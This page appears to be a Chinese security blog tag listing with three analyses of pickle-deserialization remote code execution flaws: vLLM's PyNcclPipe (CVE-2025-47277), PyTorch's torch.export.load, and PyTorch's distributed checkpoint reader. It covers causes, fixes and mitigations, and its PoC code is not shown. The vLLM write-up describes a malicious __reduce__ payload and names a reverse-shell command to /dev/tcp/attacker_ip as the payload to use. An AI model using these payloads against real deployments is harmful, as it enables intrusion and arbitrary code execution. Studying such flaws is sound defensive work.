标签 Pickle 下的文章

漏洞描述

CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行(RCE)漏洞,源于其使用PyNcclPipe模块时,未经验证地反序列化来自网络的数据,攻击者可通过构造恶意 pickle 数据包,在服务器端执行任意代码。该漏洞严重性等级为 Critical。

影响范围

条件

说明

影响版本

vLLM >= 0.6.5 且 < 0.8.5

影响模块

VLLMEngineV0

引擎中启用的PyNcclPipe

KV 缓存传输机制

受影响部署模式

多节点分布式部署,KV 节点暴露在公网或未限制访问

不受影响

使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署

漏洞环境搭建

可以在本地搭建一个复现环境:

Python ≥ 3.8

vLLM == 0.8.3(或受影响版本)

PyTorch

代码解读

PyNcclPipe:vLLM 的分布式 KV 缓存传输模块,用于节点之间传输 tensor 数据。

KVTransferConfig:用于配置 KV 缓存传输参数,例如端口、IP、rank 等

kv_ip:本地监听 IP,接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地(攻击时需开放公网 IP)。

kv_port:网络监听端口(服务端口),攻击者通过该端口发送恶意数据。

kv_rank:当前节点在分布式系统中的编号,0 表示主节点。

kv_parallel_size:并行传输的节点数量,这里设为 1,表示单连接通信。

kv_buffer_size:每次接收 tensor 的 buffer 大小。

kv_buffer_device:buffer 存储设备,设为 "cpu" 表示张量数据缓存在 CPU 上。

创建一个 PyNcclPipe 对象,它封装了底层 TCP 通信逻辑,用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。

这是漏洞的触发点!recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。

漏洞分析

成因点

描述

不安全反序列化

recv_obj()中使用pickle.loads()对用户发送的序列化数据直接反序列化,无身份校验或数据校验。

网络暴露配置缺陷

PyTorch 的TCPStore默认监听0.0.0.0,vLLM 用户配置--kv-ip也未能强制绑定私有 IP。

内网信任假设过强

vLLM 设计默认内网环境可信,缺乏防御恶意内部节点或入侵者横向移动的保护措施。

在pynccl_pipe.py中调用了recv_obj()方法

而recv_obj()方法中刚好对传入的字符串进行pickle反序列化

漏洞复现

攻击脚本

代码分段解读:

这里引入 StatelessProcessGroup,这是 vLLM 中用于节点间通信的一个工具类,封装了 TCP 通信逻辑。

这是攻击的核心:

__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',)),反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令,例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。

这行代码创建了一个客户端通信节点:host:目标服务监听地址(本地测试用 127.0.0.1),port:目标服务监听端口(通常为服务端的 KV 服务端口),rank:当前通信节点的编号(1 表示攻击节点),world_size:分布式训练的总节点数(2 表示 2 个节点通信)

这个接口实际上是将攻击者作为一个“合法”节点加入通信组。

通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时,会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__(),间接调用 os.system('whoami')。

运行后,目标机器会执行whoami命令,在实战环境下可以反弹shell

漏洞修复

vLLM 在 0.8.5 版本中已修复此漏洞:

修复内容:

强制TCPStore使用指定私有地址进行绑定(防止监听所有接口)

改进通信逻辑,防止未经校验的pickle.loads被直接调用

防护建议:

升级 vLLM 至 ≥ 0.8.5

使用防火墙阻止来自不受信任源的连接(如仅允许 10.x 或 192.168.x IP)

切换到 V1 引擎,其不使用该模块

使用安全消息格式(如 JSON、protobuf),禁止pickle用于跨网络通信

参考文章

github.com:https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv

github.com:https://github.com/vllm-project/vllm/pull/15988

github.com:https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7

docs.vllm.ai:https://docs.vllm.ai/en/latest/deployment/security.html

PyTorch 最新版本反序列化漏洞分析 前言 AI入门学习Transformers架构的时候,最忘不掉的无过于主播手把手教你用PyTorch手搓一个Transformers了,哈哈哈哈哈哈 一、漏洞描述 根本原因在于调用 torch.load 时使用了 weights_only=False,这启用了通过 pickle 模块进行的不安全反序列化,从而导致任意代码执行。torch.load 底层使用了 Python 的 pickle。当 weights_only=False 时,它会反序列化并重构文件中存储的任意 Python 对象。对来自不受信任或被篡改的检查点数据进行反序列化,会执行攻击者控制的代码,从而导致远程代码执行 (RCE)。 当加载 .pt2 归档文件时,torch.export.load() 遵循以下路径:它调用 load_pt2() 来枚举归档内容 → 进入 _load_exported_programs() → 然后调用 _load_constants()。如果归档中的任何常量被标记为 use_pickle=True 且其文件名以 tensor 开头,它就会执行 torch.load(io.BytesIO(constant_bytes), weights_only=False),从而触发 Python Pickle 反序列化。因此,如果 .pt2 文件包含恶意的 Pickle 常量,运行 torch.export.load() 可能会导致任意代码执行。 torch.export.load() 不允许配置 weights_only=True 参数。它总是执行 torch.load(io.BytesIO(constant_bytes), weights_only=False) —— 这个值是硬编码的。因此,加载恶意模型的用户不可避免地会面临被入侵的风险。

二、环境搭建 这个没有什么好搭建的,因为就是一个组件,下载最新版本的包就好了

三、漏洞分析 完整调用链追踪

漏洞代码分析 torch.export.load() 文件: torch/export/__init__.py

分析: 入口函数接收文件路径,调用 load_pt2() 加载 PT2 存档文件。

load_pt2() - 加载 PT2 存档 文件: torch/export/pt2_archive/_package.py

分析: load_pt2() 打开 PT2 存档文件,调用 _load_exported_programs() 处理模型文件。

_load_exported_programs() - 加载导出的程序 文件: torch/export/pt2_archive/_package.py

分析: _load_exported_programs() 遍历模型文件,调用 _load_constants() 加载常量数据。

_load_constants() - 加载常量(漏洞触发点) 文件: torch/export/pt2_archive/_package.py 这一步很关键,因为是有很多限制条件的

总结一下能够触发的条件 1path_name.startswith("tensor") 2payload_meta.use_pickle == True 3 weights_only=False 硬编码: 该值无法通过 torch.export.load() API 覆盖

torch.load() - Pickle 反序列化 文件: torch/serialization.py

weights_only=False 时,torch.load() 使用标准 pickle 反序列化,会触发对象的 __reduce__() 方法,导致任意代码执行。

四、漏洞复现 根据漏洞原理,步骤就是生成恶意文件和触发了 恶意模型生成脚本 文件: model.py

注意构造需要满足刚刚上面提到的条件

触发脚本 现在就是我们需要去触发了 文件: poc.py

然后我们查看文件

五、漏洞修复 由于最新版本还是存在这个漏洞,可能是正常功能需要????? 测试版本: PyTorch 2.11.0.dev20260110 六、参考资料

资源
链接
PyTorch 官方文档
CWE-502: 不安全的反序列化
Python Pickle 安全
赏金报告


PyTorch Distributed Checkpoint 远程代码执行漏洞分析

漏洞描述





PyTorch 的分布式检查点模块中的 FileSystemReader 类在 read_metadata() 方法中使用不安全的 pickle.load() 函数反序列化检查点元数据文件,且未对数据来源进行任何验证。攻击者可以通过构造包含恶意 pickle 数据的检查点文件,当受害者使用 FileSystemReader 加载该检查点时,恶意代码将在反序列化过程中自动执行,从而实现任意代码执行。

环境搭建

直接最新的版本就可以

漏洞复现

PoC 代码









为什么需要 MaliciousMetadata 对象呢?


因为 read_metadata() 期望反序列化后得到一个 Metadata 对象

如果直接 pickle.dump(MaliciousPayload()),反序列化时会报错

所以构造一个Metadata 的对象,把恶意负载嵌进去



漏洞分析

漏洞原理并不难,就是根据漏洞点去构造触发文件

FileSystemReader,漏洞点

文件位置: torch/distributed/checkpoint/filesystem.py

这个类也是会读取 read_metadata,metadata,并反序列化处理





很明显,在这个点上

无输入验证: 未验证 .metadata 文件来源
无类白名单: 允许反序列化任意 Python 类
自动调用: 加载检查点时自动触发
完全信任用户输入: path 参数完全由用户控制





Pickle 反序列化原理

Python 的 pickle 模块用于对象的序列化和反序列化。在反序列化过程中,pickle 会自动调用对象的 __reduce__() 方法来重建对象

我们在 __reduce__() 写入恶意代码

攻击场景

可以分为一些场景

场景一: HuggingFace 模型投毒

场景二: 训练脚本 CLI 注入

场景三: MLOps 平台上传

总结

通过数据流向,让 AI 画一个图,很清晰

漏洞修复

官方并没有修复,因为被认定为重复漏洞,但是最新版本还是可以复现,下面是一些修复方法

Unpickler/白名单

修复后的 read_metadata() 方法:

添加 safe_mode 参数



参考资料

CWE-502: Deserialization of Untrusted Data

Python pickle Documentation

OWASP Deserialization Cheat Sheet

赏金报告